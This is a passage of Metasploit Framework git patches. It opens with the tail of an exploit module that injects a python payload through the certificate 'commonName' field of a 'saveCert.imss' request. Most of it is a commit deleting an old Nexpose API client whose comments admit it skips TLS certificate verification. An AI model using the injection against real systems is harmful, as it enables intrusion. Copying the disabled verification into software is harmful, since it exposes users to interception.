'saveCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}", + 'vars_get' => { + 'mode' => 0 + }, + 'vars_post' => { + 'certName' => r, + 'certType' => 0, + 'keyLength' => 2048, + 'countryCode' => 'TR', + 'state' => r, + 'locality' => r, + 'org' => r, + 'orgUnit' => r, + 'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #", + 'emailAddress' => "#{r}@mail.com", + 'validDays' => '', + 'id' => '', + } + }) + end + +end From eeba1e0bb2c797ebfe6f7fecba95f8956c69361c Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 25 Jan 2017 10:13:28 -0600 Subject: [PATCH 040/426] first pass of upgrading nexpose gem to latest --- lib/rapid7/nexpose.rb | 2618 ---------------------------------- metasploit-framework.gemspec | 2 + plugins/nexpose.rb | 115 +- 3 files changed, 62 insertions(+), 2673 deletions(-) delete mode 100644 lib/rapid7/nexpose.rb diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb deleted file mode 100644 index e8b0c6e34d..0000000000 --- a/lib/rapid7/nexpose.rb +++ /dev/null @@ -1,2618 +0,0 @@ -# -# The Nexpose API -# -=begin - -Copyright (C) 2009-2012, Rapid7, Inc. -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of Rapid7, Inc. nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -=end - -# -# WARNING! This code makes an SSL connection to the Nexpose server, but does NOT -# verify the certificate at this time. This can be a security issue if -# an attacker is able to man-in-the-middle the connection between the -# Metasploit console and the Nexpose server. In the common case of -# running Nexpose and Metasploit on the same host, this is a low risk. -# - -# -# WARNING! This code is still rough and going through substantive changes. While -# you can build tools using this library today, keep in mind that method -# names and parameters may change in the future. -# - -require 'date' -require 'rexml/document' -require 'net/https' -require 'net/http' -require 'uri' -require 'rex/mime' - - -module Nexpose - -module Sanitize - def replace_entities(str) - ret = str.dup - ret.gsub!(/&/, "&") - ret.gsub!(/'/, "'") - ret.gsub!(/"/, """) - ret.gsub!(//, ">") - ret - end -end - -class APIError < ::RuntimeError - attr_accessor :req, :reason - def initialize(req, reason = '') - self.req = req - self.reason = reason - end - def to_s - "NexposeAPI: #{self.reason}" - end -end - -class AuthenticationFailed < APIError - def initialize(req) - self.req = req - self.reason = "Login Failed" - end -end - -module XMLUtils - def parse_xml(xml) - ::REXML::Document.new(xml.to_s) - end -end - -class APIRequest - include XMLUtils - - attr_reader :http - attr_reader :uri - attr_reader :headers - attr_reader :retry_count - attr_reader :time_out - attr_reader :pause - - attr_reader :req - attr_reader :res - attr_reader :sid - attr_reader :success - - attr_reader :error - attr_reader :trace - - attr_reader :raw_response - attr_reader :raw_response_data - - def initialize(req, url) - @url = url - @req = req - prepare_http_client - end - - def prepare_http_client - @retry_count = 0 - @retry_count_max = 10 - @time_out = 30 - @pause = 2 - @uri = URI.parse(@url) - @http = ::Net::HTTP.new(@uri.host, @uri.port) - @http.use_ssl = true - # - # XXX: This is obviously a security issue, however, we handle this at the client level by forcing - # a confirmation when the nexpose host is not localhost. In a perfect world, we would present - # the server signature before accepting it, but this requires either a direct callback inside - # of this module back to whatever UI, or opens a race condition between accept and attempt. - # - @http.verify_mode = OpenSSL::SSL::VERIFY_NONE - @headers = {'Content-Type' => 'text/xml'} - @success = false - end - - def execute - @conn_tries = 0 - - begin - prepare_http_client - - @raw_response = @http.post(@uri.path, @req, @headers) - @raw_response_data = @raw_response.body - @res = parse_xml(@raw_response_data) - - if(not @res.root) - @error = "Nexpose service returned invalid XML" - return @sid - end - - @sid = attributes['session-id'] - - @success = true - - if(attributes['success'] and attributes['success'].to_i == 0) - @success = false - end - - # Look for a stack trace - @res.elements.each('//Failure/Exception') do |s| - - # 1.1 returns lower case elements - s.elements.each('message') do |m| - @error = m.text - end - s.elements.each('stacktrace') do |m| - @trace = m.text - end - - # 1.2 returns capitalized elements - s.elements.each('Message') do |m| - @error = m.text - end - s.elements.each('Stacktrace') do |m| - @trace = m.text - end - end - - @res.elements.each('//Failure') do |s| - - # 1.1 returns lower case elements - s.elements.each('message') do |m| - @error = m.text - end - s.elements.each('stacktrace') do |m| - @trace = m.text - end - - # 1.2 returns capitalized elements - s.elements.each('Message') do |m| - @error = m.text - end - s.elements.each('Stacktrace') do |m| - @trace = m.text - end - end - - # This is a hack to handle corner cases where a heavily loaded Nexpose instance - # drops our HTTP connection before processing. We try 5 times to establish a - # connection in these situations. The actual exception occurs in the Ruby - # http library, which is why we use such generic error classes. - rescue ::ArgumentError, ::NoMethodError - if @conn_tries < 5 - @conn_tries += 1 - retry - end - rescue ::Timeout::Error - if @conn_tries < 5 - @conn_tries += 1 - retry - end - @error = "Nexpose host did not respond" - rescue ::SocketError, ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL - @error = "Nexpose host is unreachable" - # Handle console-level interrupts - rescue ::Interrupt - @error = "Received a user interrupt" - rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED, ::OpenSSL::SSL::SSLError - @error = "Nexpose service is not available" - rescue ::REXML::ParseException - @error = "Nexpose has not been properly licensed" - end - - @success = false if @error - - @sid - end - - def attributes(*args) - return if not @res.root - @res.root.attributes(*args) - end - - def self.execute(url,req) - obj = self.new(req,url) - obj.execute - if(not obj.success) - raise APIError.new(obj, "Action failed: #{obj.error}") - end - obj - end - -end - -module NexposeAPI - - def make_xml(name, opts={}, data='') - xml = REXML::Element.new(name) - if(@session_id) - xml.attributes['session-id'] = @session_id - end - - opts.keys.each do |k| - xml.attributes[k] = "#{opts[k]}" - end - - xml.text = data - - xml - end - - def make_xml_plain(name, opts={}, data='') - xml = REXML::Element.new(name) - - opts.keys.each do |k| - xml.attributes[k] = "#{opts[k]}" - end - - xml.text = data - - xml - end - def scan_stop(param) - r = execute(make_xml('ScanStopRequest', { 'scan-id' => param })) - r.success - end - - def scan_status(param) - r = execute(make_xml('ScanStatusRequest', { 'scan-id' => param })) - r.success ? r.attributes['status'] : nil - end - - def scan_activity - r = execute(make_xml('ScanActivityRequest', { })) - if(r.success) - res = [] - r.res.elements.each("//ScanSummary") do |scan| - res << { - :scan_id => scan.attributes['scan-id'].to_i, - :site_id => scan.attributes['site-id'].to_i, - :engine_id => scan.attributes['engine-id'].to_i, - :status => scan.attributes['status'].to_s, - :start_time => Date.parse(scan.attributes['startTime'].to_s).to_time - } - end - return res - else - return false - end - end - - def scan_statistics(param) - r = execute(make_xml('ScanStatisticsRequest', {'scan-id' => param })) - if(r.success) - res = {} - r.res.elements.each("//ScanSummary/nodes") do |node| - res[:nodes] = {} - node.attributes.keys.each do |k| - res[:nodes][k] = node.attributes[k].to_i - end - end - r.res.elements.each("//ScanSummary/tasks") do |task| - res[:task] = {} - task.attributes.keys.each do |k| - res[:task][k] = task.attributes[k].to_i - end - end - r.res.elements.each("//ScanSummary/vulnerabilities") do |vuln| - res[:vulns] ||= {} - k = vuln.attributes['status'] + (vuln.attributes['severity'] ? ("-" + vuln.attributes['severity']) : '') - res[:vulns][k] = vuln.attributes['count'].to_i - end - r.res.elements.each("//ScanSummary") do |summ| - res[:summary] = {} - summ.attributes.keys.each do |k| - res[:summary][k] = summ.attributes[k] - if (res[:summary][k] =~ /^\d+$/) - res[:summary][k] = res[:summary][k].to_i - end - end - end - r.res.elements.each("//ScanSummary/message") do |message| - res[:message] = message.text - end - return res - else - return false - end - end - - def report_generate(param) - r = execute(make_xml('ReportGenerateRequest', { 'report-id' => param })) - r.success - end - - def report_last(param) - r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - res = nil - if(r.success) - stk = [] - r.res.elements.each("//ReportSummary") do |rep| - stk << [ rep.attributes['id'].to_i, rep.attributes['report-URI'] ] - end - if (stk.length > 0) - stk.sort!{|a,b| b[0] <=> a[0]} - res = stk[0][1] - end - end - res - end - - def report_last_detail(param) - r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - res = nil - if(r.success) - stk = {} - r.res.elements.each("//ReportSummary") do |rep| - stk[ rep.attributes['id'].to_i ] = { - 'id' => rep.attributes['id'].to_i, - 'url' => rep.attributes['report-URI'], - 'status' => rep.attributes['status'], - 'date' => rep.attributes['generated-on'] - } - end - if (stk.keys.length > 0) - res = stk[ stk.keys.sort{|a,b| b[0] <=> a[0]}.first ] - end - end - res - end - - def report_history(param) - execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param })) - end - - def report_config_delete(param) - r = execute(make_xml('ReportDeleteRequest', { 'reportcfg-id' => param })) - r.success - end - - def report_delete(param) - r = execute(make_xml('ReportDeleteRequest', { 'report-id' => param })) - r.success - end - - def device_delete(param) - r = execute(make_xml('DeviceDeleteRequest', { 'device-id' => param })) - r.success - end - - def vuln_exception_create(vuln_id, reason, scope, comment='', attrs={}) - attrs = attrs.merge({ 'vuln-id' => vuln_id, 'reason' => reason, 'scope' => scope }) - req = make_xml('VulnerabilityExceptionCreateRequest', attrs) - com = make_xml_plain('comment', {}, comment.to_s) - req << com - r = execute(req, '1.2') - end - - def vuln_exception_approve(exception_id, comment='', attrs={}) - attrs = attrs.merge({ 'exception-id' => exception_id }) - req = make_xml('VulnerabilityExceptionApproveRequest', attrs) - com = make_xml_plain('comment', {}, comment.to_s) - req << com - r = execute(req, '1.2') - end - - def vuln_exception_update_expiration(exception_id, expiration_date, attrs={}) - attrs = attrs.merge({ 'exception-id' => exception_id, 'expiration-date' => expiration_date }) - req = make_xml('VulnerabilityExceptionUpdateExpirationDateRequest', attrs) - r = execute(req, '1.2') - end - - def asset_group_delete(connection, id, debug = false) - r = execute(make_xml('AssetGroupDeleteRequest', { 'group-id' => param })) - r.success - end - - def asset_group_create(name, description, devices) - req = make_xml('AssetGroupSaveRequest') - req_ag = make_xml_plain('AssetGroup', { 'id' => "-1", 'name' => name, 'description' => description }) - req_devices = make_xml_plain('Devices') - devices.each do |did| - req_devices << make_xml_plain('device', { 'id' => did }) - end - req_ag << req_devices - req << req_ag - r = execute(req) - end - - #------------------------------------------------------------------------- - # Returns all asset group information - #------------------------------------------------------------------------- - def asset_groups_listing() - r = execute(make_xml('AssetGroupListingRequest')) - - if r.success - res = [] - r.res.elements.each('//AssetGroupSummary') do |group| - res << { - :asset_group_id => group.attributes['id'].to_i, - :name => group.attributes['name'].to_s, - :description => group.attributes['description'].to_s, - :risk_score => group.attributes['riskscore'].to_f, - } - end - res - else - false - end - end - - #------------------------------------------------------------------------- - # Returns an asset group configuration information for a specific group ID - #------------------------------------------------------------------------- - def asset_group_config(group_id) - r = execute(make_xml('AssetGroupConfigRequest', {'group-id' => group_id})) - - if r.success - res = [] - r.res.elements.each('//Devices/device') do |device_info| - res << { - :device_id => device_info.attributes['id'].to_i, - :site_id => device_info.attributes['site-id'].to_i, - :address => device_info.attributes['address'].to_s, - :riskfactor => device_info.attributes['riskfactor'].to_f, - } - end - res - else - false - end - end - - #----------------------------------------------------------------------- - # Starts device specific site scanning. - # - # devices - An Array of device IDs - # hosts - An Array of Hashes [o]=>{:range=>"to,from"} [1]=>{:host=>host} - #----------------------------------------------------------------------- - def site_device_scan_start(site_id, devices, hosts) - - if hosts == nil and devices == nil - raise ArgumentError.new("Both the device and host list is nil") - end - - xml = make_xml('SiteDevicesScanRequest', {'site-id' => site_id}) - - if devices != nil - inner_xml = REXML::Element.new 'Devices' - for device_id in devices - inner_xml.add_element 'device', {'id' => "#{device_id}"} - end - xml.add_element inner_xml - end - - if hosts != nil - inner_xml = REXML::Element.new 'Hosts' - hosts.each_index do |x| - if hosts[x].key? :range - to = hosts[x][:range].split(',')[0] - from = hosts[x][:range].split(',')[1] - inner_xml.add_element 'range', {'to' => "#{to}", 'from' => "#{from}"} - end - if hosts[x].key? :host - host_element = REXML::Element.new 'host' - host_element.text = "#{hosts[x][:host]}" - inner_xml.add_element host_element - end - end - xml.add_element inner_xml - end - - r = execute xml - if r.success - r.res.elements.each('//Scan') do |scan_info| - return { - :scan_id => scan_info.attributes['scan-id'].to_i, - :engine_id => scan_info.attributes['engine-id'].to_i - } - end - else - false - end - end - - def site_delete(param) - r = execute(make_xml('SiteDeleteRequest', { 'site-id' => param })) - r.success - end - - def site_listing - r = execute(make_xml('SiteListingRequest', { })) - - if(r.success) - res = [] - r.res.elements.each("//SiteSummary") do |site| - res << { - :site_id => site.attributes['id'].to_i, - :name => site.attributes['name'].to_s, - :risk_factor => site.attributes['riskfactor'].to_f, - :risk_score => site.attributes['riskscore'].to_f, - } - end - return res - else - return false - end - end - - #----------------------------------------------------------------------- - # TODO: Needs to be expanded to included details - #----------------------------------------------------------------------- - def site_scan_history(site_id) - r = execute(make_xml('SiteScanHistoryRequest', {'site-id' => site_id.to_s})) - - if (r.success) - res = [] - r.res.elements.each("//ScanSummary") do |site_scan_history| - res << { - :site_id => site_scan_history.attributes['site-id'].to_i, - :scan_id => site_scan_history.attributes['scan-id'].to_i, - :engine_id => site_scan_history.attributes['engine-id'].to_i, - :start_time => site_scan_history.attributes['startTime'].to_s, - :end_time => site_scan_history.attributes['endTime'].to_s - } - end - return res - else - false - end - end - - def site_device_listing(site_id) - r = execute(make_xml('SiteDeviceListingRequest', { 'site-id' => site_id.to_s })) - - if(r.success) - res = [] - r.res.elements.each("//device") do |device| - res << { - :device_id => device.attributes['id'].to_i, - :address => device.attributes['address'].to_s, - :risk_factor => device.attributes['riskfactor'].to_f, - :risk_score => device.attributes['riskscore'].to_f, - } - end - return res - else - return false - end - end - - def report_template_listing - r = execute(make_xml('ReportTemplateListingRequest', { })) - - if(r.success) - res = [] - r.res.elements.each("//ReportTemplateSummary") do |template| - desc = '' - template.elements.each("//description") do |ent| - desc = ent.text - end - - res << { - :template_id => template.attributes['id'].to_s, - :name => template.attributes['name'].to_s, - :description => desc.to_s - } - end - return res - else - return false - end - end - - - def console_command(cmd_string) - xml = make_xml('ConsoleCommandRequest', { }) - cmd = REXML::Element.new('Command') - cmd.text = cmd_string - xml << cmd - - r = execute(xml) - - if(r.success) - res = "" - r.res.elements.each("//Output") do |out| - res << out.text.to_s - end - - return res - else - return false - end - end - - def system_information - r = execute(make_xml('SystemInformationRequest', { })) - - if(r.success) - res = {} - r.res.elements.each("//Statistic") do |stat| - res[ stat.attributes['name'].to_s ] = stat.text.to_s - end - - return res - else - return false - end - end - -end - -# === Description -# Object that represents a connection to a Nexpose Security Console. -# -# === Examples -# # Create a new Nexpose Connection on the default port -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# -# # Login to NSC and Establish a Session ID -# nsc.login() -# -# # Check Session ID -# if (nsc.session_id) -# puts "Login Successful" -# else -# puts "Login Failure" -# end -# -# # //Logout -# logout_success = nsc.logout() -# if (! logout_success) -# puts "Logout Failure" + "

" + nsc.error_msg.to_s -# end -# -class Connection - include XMLUtils - include NexposeAPI - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # Session ID of this connection - attr_reader :session_id - # The hostname or IP Address of the NSC - attr_reader :host - # The port of the NSC (default is 3780) - attr_reader :port - # The username used to login to the NSC - attr_reader :username - # The password used to login to the NSC - attr_reader :password - # The URL for communication - attr_reader :url - - # Constructor for Connection - def initialize(ip, user, pass, port = 3780) - @host = ip - @port = port - @username = user - @password = pass - @session_id = nil - @error = false - @url = "https://#{@host}:#{@port}/api/1.1/xml" - @url_base = "https://#{@host}:#{@port}/api/" - end - - # Establish a new connection and Session ID - def login - - # This throws an APIError exception if necessary - r = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username })) - if(r.success) - @session_id = r.sid - return true - end - - false - end - - # Logout of the current connection - def logout - # Bypass logout unless we have an actual session ID - return true unless @session_id - - r = execute(make_xml('LogoutRequest', {'sync-id' => 0})) - if(r.success) - return true - end - raise APIError.new(r, 'Logout failed') - end - - # Execute an API request - def execute(xml, version='1.1') - APIRequest.execute("#{@url_base}#{version}/xml", xml.to_s) - end - - # Download a specific URL - def download(url) - uri = URI.parse(url) - http = Net::HTTP.new(@host, @port) - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue - headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"} - resp = http.get(uri.path, headers) - - resp ? resp.body : nil - end -end - -# === Description -# Object that represents a listing of all of the sites available on an NSC. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc->login(); -# -# # Get Site Listing -# sitelisting = SiteListing.new(nsc) -# -# # Enumerate through all of the SiteSummaries -# sitelisting.sites.each do |sitesummary| -# # Do some operation on each site -# end -# -class SiteListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing SiteSummary objects for each site in the connection - attr_reader :sites - # The number of sites - attr_reader :site_count - - # Constructor - # SiteListing (connection) - def initialize(connection) - @sites = [] - - @connection = connection - - r = @connection.execute('') - - if (r.success) - parse(r.res) - else - raise APIError.new(r, "Failed to get site listing") - end - end - - def parse(r) - r.elements.each('SiteListingResponse/SiteSummary') do |s| - site_summary = SiteSummary.new( - s.attributes['id'].to_s, - s.attributes['name'].to_s, - s.attributes['description'].to_s, - s.attributes['riskfactor'].to_s - ) - @sites.push(site_summary) - end - @site_count = @sites.length - end -end - -# === Description -# Object that represents the summary of a Nexpose Site. -# -class SiteSummary - # The Site ID - attr_reader :id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - - # Constructor - # SiteSummary(id, site_name, description, riskfactor = 1) - def initialize(id, site_name, description, riskfactor = 1) - @id = id - @site_name = site_name - @description = description - @riskfactor = riskfactor - end - - def _set_id(id) - @id = id - end -end - -# === Description -# Object that represents a single IP address or an inclusive range of IP addresses. If to is nil then the from field will be used to specify a single IP Address only. -# -class IPRange - # Start of Range *Required - attr_reader :from; - # End of Range *Optional (If Null then IPRange is a single IP Address) - attr_reader :to; - - def initialize(from, to = nil) - @from = from - @to = to - end - - include Sanitize - def to_xml - if (to and not to.empty?) - return %Q{} - else - return %Q{} - end - end -end - -# === Description -# Object that represents a hostname to be added to a site. -class HostName - - # The hostname - attr_reader :hostname - - def initialize(hostname) - @hostname = hostname - end - - include Sanitize - def to_xml - "#{replace_entities(hostname)}" - end -end - -# === Description -# Object that represents the configuration of a Site. This object is automatically created when a new Site object is instantiated. -# -class SiteConfig - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - # Array containing ((IPRange|HostName)*) - attr_reader :hosts - # Array containing (AdminCredentials*) - attr_reader :credentials - # Array containing ((SmtpAlera|SnmpAlert|SyslogAlert)*) - attr_reader :alerts - # ScanConfig object which holds Schedule and ScanTrigger Objects - attr_reader :scanConfig - - def initialize() - @xml_tag_stack = Array.new() - @hosts = Array.new() - @credentials = Array.new() - @alerts = Array.new() - @error = false - end - - # Adds a new host to the hosts array - def addHost(host) - @hosts.push(host) - end - - # Adds a new alert to the alerts array - def addAlert(alert) - @alerts.push(alert) - end - - # Adds a new set of credentials to the credentials array - def addCredentials(credential) - @credentials.push(credential) - end - - # TODO - def getSiteConfig(connection,site_id) - @connection = connection - @site_id = site_id - - r = APIRequest.execute(@connection.url,'') - parse(r.res) - end - - def _set_site_id(site_id) - @site_id = site_id - end - - def _set_site_name(site_name) - @site_name = site_name - end - - def _set_description(description) - @description = description - end - - def _set_riskfactor(riskfactor) - @riskfactor = riskfactor - end - - def _set_scanConfig(scanConfig) - @scanConfig = scanConfig - end - - def _set_connection(connection) - @connection = connection - end -=begin - - - - - - - - - - - - - - - - - -=end - - def parse(response) - response.elements.each('SiteConfigResponse/Site') do |s| - @site_id = s.attributes['id'] - @site_name = s.attributes['name'] - @description = s.attributes['description'] - @riskfactor = s.attributes['riskfactor'] - s.elements.each('Hosts/range') do |r| - @hosts.push(IPRange.new(r.attributes['from'],r.attributes['to'])) - end - s.elements.each('ScanConfig') do |c| - @scanConfig = ScanConfig.new(c.attributes['configID'], - c.attributes['name'], - c.attributes['configVersion'], - c.attributes['templateID']) - s.elements.each('Schedule') do |schedule| - schedule = new Schedule(schedule.attributes["type"], schedule.attributes["interval"], schedule.attributes["start"], schedule.attributes["enabled"]) - @scanConfig.addSchedule(schedule) - end - end - - s.elements.each('Alerting/Alert') do |a| - - a.elements.each('smtpAlert') do |smtp| - smtp_alert = SmtpAlert.new(a.attributes["name"], smtp.attributes["sender"], smtp.attributes["limitText"], a.attributes["enabled"]) - - smtp.elements.each('recipient') do |recipient| - smtp_alert.addRecipient(recipient.text) - end - @alerts.push(smtp_alert) - end - - a.elements.each('snmpAlert') do |snmp| - snmp_alert = SnmpAlert.new(a.attributes["name"], snmp.attributes["community"], snmp.attributes["server"], a.attributes["enabled"]) - @alerts.push(snmp_alert) - end - a.elements.each('syslogAlert') do |syslog| - syslog_alert = SyslogAlert.new(a.attributes["name"], syslog.attributes["server"], a.attributes["enabled"]) - @alerts.push(syslog_alert) - end - - a.elements.each('vulnFilter') do |vulnFilter| - - #vulnfilter = new VulnFilter.new(a.attributes["typemask"], a.attributes["severityThreshold"], $attrs["MAXALERTS"]) - # Pop off the top alert on the stack - #$alert = @alerts.pop() - # Add the new recipient string to the Alert Object - #$alert.setVulnFilter($vulnfilter) - # Push the alert back on to the alert stack - #array_push($this->alerts, $alert) - end - - a.elements.each('scanFilter') do |scanFilter| - # - #scanfilter = ScanFilter.new(scanFilter.attributes['scanStop'],scanFilter.attributes['scanFailed'],scanFilter.attributes['scanStart']) - #alert = @alerts.pop() - #alert.setScanFilter(scanfilter) - #@alerts.push(alert) - end - end - end - end -end - -# === Description -# Object that represents the scan history of a site. -# -class SiteScanHistory - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # //Array containing (ScanSummary*) - attr_reader :scan_summaries - - def initialize(connection, id) - @site_id = id - @error = false - @connection = connection - @scan_summaries = Array.new() - - r = @connection.execute('') - status = r.success - end -end - -# === Description -# Object that represents a listing of devices for a site or the entire NSC. Note that only devices which are accessible to the account used to create the connection object will be returned. This object is created and populated automatically with the instantiation of a new Site object. -# -class SiteDeviceListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID. 0 if all sites are specified. - attr_reader :site_id - # //Array of (Device)* - attr_reader :devices - - def initialize(connection, site_id = 0) - - @site_id = site_id - @error = false - @connection = connection - @devices = Array.new() - - r = nil - if (@site_id) - r = @connection.execute('') - else - r = @connection.execute('') - end - - if(r.success) - response.elements.each('SiteDeviceListingResponse/SiteDevices/device') do |d| - @devices.push(Device.new(d.attributes['id'],@site_id,d.attributes["address"],d.attributes["riskfactor"],d.attributes['riskscore'])) - end - end - end -end - -# === Description -# Object that represents a site, including the site configuration, scan history, and device listing. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get an Existing Site -# site_existing = Site.new(nsc,184) -# -# # Create a New Site, add some hosts, and save it to the NSC -# site = Site.new(nsc) -# site.setSiteConfig("New Site", "New Site Created in the API") -# -# # Add the hosts -# site.site_config.addHost(HostName.new("localhost")) -# site.site_config.addHost(IPRange.new("192.168.7.1","192.168.7.255")) -# site.site_config.addHost(IPRange.new("10.1.20.30")) -# -# status = site.saveSite() -# -class Site - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - # site_id = -1 means create a new site. The NSC will assign a new site_id on SiteSave. - attr_reader :site_id - # A summary overview of this site - # SiteSummary Object - attr_reader :site_summary - # The configuration of this site - # SiteConfig Object - attr_reader :site_config - # The device listing for this site - # SiteDeviceListing Object - attr_reader :site_device_listing - # The scan history of this site - # SiteScanHistory Object - attr_reader :site_scan_history - - def initialize(connection, site_id = -1) - @error = false - @connection = connection - @site_id = site_id - - # If site_id > 0 then get SiteConfig - if (@site_id.to_i > 0) - # Create new SiteConfig object - @site_config = SiteConfig.new() - # Populate SiteConfig Obect with Data from the NSC - @site_config.getSiteConfig(@connection,@site_id) - @site_summary = SiteSummary.new(@site_id, @site_config.site_name, @site_config.description, @site_config.riskfactor) - @site_scan_history = SiteScanHistory.new(@connection,@site_id) - @site_device_listing = SiteDeviceListing.new(@connection,@site_id) - - else - # Just in case user enters a number > -1 or = 0 - @site_id = -1 - - @site_config = SiteConfig.new() - setSiteConfig("New Site " + rand(999999999999).to_s,"") - @site_summary = nil - - end - - end - - # Creates a new site summary - def setSiteSummary(site_name, description, riskfactor = 1) - @site_summary = SiteSummary.new(-1,site_name,description,riskfactor) - - end - - # Creates a new site configuration - def setSiteConfig(site_name, description, riskfactor = 1) - setSiteSummary(site_name,description,riskfactor) - @site_config = SiteConfig.new() - @site_config._set_site_id(-1) - @site_config._set_site_name(site_name) - @site_config._set_description(description) - @site_config._set_riskfactor(riskfactor) - @site_config._set_scanConfig(ScanConfig.new(-1,"tmp","full-audit")) - @site_config._set_connection(@connection) - - end - - # Initiates a scan of this site. If successful returns scan_id and engine_id in an associative array. Returns false if scan is unsuccessful. - def scanSite() - r = @connection.execute('') - if(r.success) - res = {} - r.res.elements.each('//Scan/') do |s| - res[:scan_id] = s.attributes['scan-id'] - res[:engine_id] = s.attributes['engine-id'] - end - return res - else - return false - end - end - - # Saves this site in the NSC - def saveSite() - r = @connection.execute('' + getSiteXML() + ' ') - if (r.success) - @site_id = r.attributes['site-id'] - @site_config._set_site_id(@site_id) - @site_config.scanConfig._set_configID(@site_id) - @site_config.scanConfig._set_name(@site_id) - return true - else - return false - end - end - - def deleteSite() - r = @connection.execute('') - r.success - end - - - def printSite() - puts "Site ID: " + @site_summary.id - puts "Site Name: " + @site_summary.site_name - puts "Site Description: " + @site_summary.description - puts "Site Risk Factor: " + @site_summary.riskfactor - end - - def getSiteXML() - - xml = '' - - xml << ' ' - @site_config.hosts.each do |h| - xml << h.to_xml if h.respond_to? :to_xml - end - xml << '' - - xml << '' - @site_config.credentials.each do |c| - xml << c.to_xml if c.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - @site_config.alerts.each do |a| - xml << a.to_xml if a.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - - xml << ' ' - @site_config.scanConfig.schedules.each do |s| - xml << ' ' - end - xml << ' ' - - xml << ' ' - @site_config.scanConfig.scanTriggers.each do |s| - - if s.kind_of?(Nexpose::AutoUpdate) - xml << ' ' - end - end - - xml << ' ' - - xml << ' ' - - xml << ' ' - - return xml - end -end - -# === Description -# Object that represents administrative credentials to be used during a scan. When retrived from an existing site configuration the credentials will be returned as a security blob and can only be passed back as is during a Site Save operation. This object can only be used to create a new set of credentials. -# -class AdminCredentials - # Security blob for an existing set of credentials - attr_reader :securityblob - # Designates if this object contains user defined credentials or a security blob - attr_reader :isblob - # The service for these credentials. Can be All. - attr_reader :service - # The host for these credentials. Can be Any. - attr_reader :host - # The port on which to use these credentials. - attr_reader :port - # The user id or username - attr_reader :userid - # The password - attr_reader :password - # The realm for these credentials - attr_reader :realm - - - def initialize(isblob = false) - @isblob = isblob - end - - # Sets the credentials information for this object. - def setCredentials(service, host, port, userid, password, realm) - @isblob = false - @securityblob = nil - @service = service - @host = host - @port = port - @userid = userid - @password = password - @realm = realm - end - - # TODO: add description - def setService(service) - @service = service - end - - def setHost(host) - @host = host - end - - # TODO: add 